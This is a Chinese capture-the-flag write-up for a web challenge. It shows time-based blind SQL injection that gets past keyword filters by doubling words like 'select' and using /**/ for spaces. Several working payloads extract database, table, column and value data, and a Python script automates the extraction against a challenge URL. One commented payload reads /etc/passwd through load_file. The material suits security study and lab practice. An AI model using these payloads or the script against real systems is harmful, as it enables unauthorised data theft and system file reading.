双写绕过(时间注入)

双写注入(吃鸡杯web问答题)

首先注册账号,并登录进行问答填写,发现没有出现flag,之后再回到登陆界面并打开源码,看到表单是post提交的,此时我们输入我们登录的账号以及密码,然后用bp进行抓包
可以看到两个我们可以控制的变量,分别为:username和studentid,此时我们用-1’#和-1’or1=1#和-1’||1=1#进行sql注入的测试,当然闭合符号可以多尝试”、”)、’)等,之后
‘为闭合符号,此时我们可以尝试union的联合注入,盲注以及堆叠注入,这里用的是时间注入。通过尝试我们知道=被过滤了且一些关键词被过滤了,因此空格用/**/代替,关键词可以使用双写绕过构造

1
2
3
4
5
6
7
-1'||if(ascii(substr(database(),1,1))<80,sleep(2),1)#-------------------------得到数据库

-1'||if(ascii(substr(seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),1,1))<80,sleep(1),1)#------------------得到数据表

-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),1,1))<80,sleep(1),1)#----------------------得到数据列

-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),1,1))<80,sleep(0.4),1)#---------------得到数据列中value的数据

由于一个一个试,效率很低,因此可以用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from time import *
url='http://7de161e0-5158-4941-afc2-31cad344927a.challenge.ctf.show:8080/login.php'


flag=''
for i in range(1,10000000):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break

#payload="-1'||if(ascii(substr(database(),{},1))<{},sleep(0.5),1)#".format(i,j)
#payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),{},1))<{},sleep(1),1)#".format(i,j)
payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),{},1))<{},sleep(1),1)#".format(i,j)
#payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),{},1))<{},sleep(0.4),1)#".format(i,j)

#payload="'||ascii(substr((load_file(reverse('dwssap/cte/'))),{},1))<{}#".format(i,j)

data={
'username':payload,
'studentid':'1',
'submit':'提交'
}
try:
r=requests.post(url=url,data=data,timeout=0.3)
#print(r.text)
min = j
except:
max = j

sleep(0.2)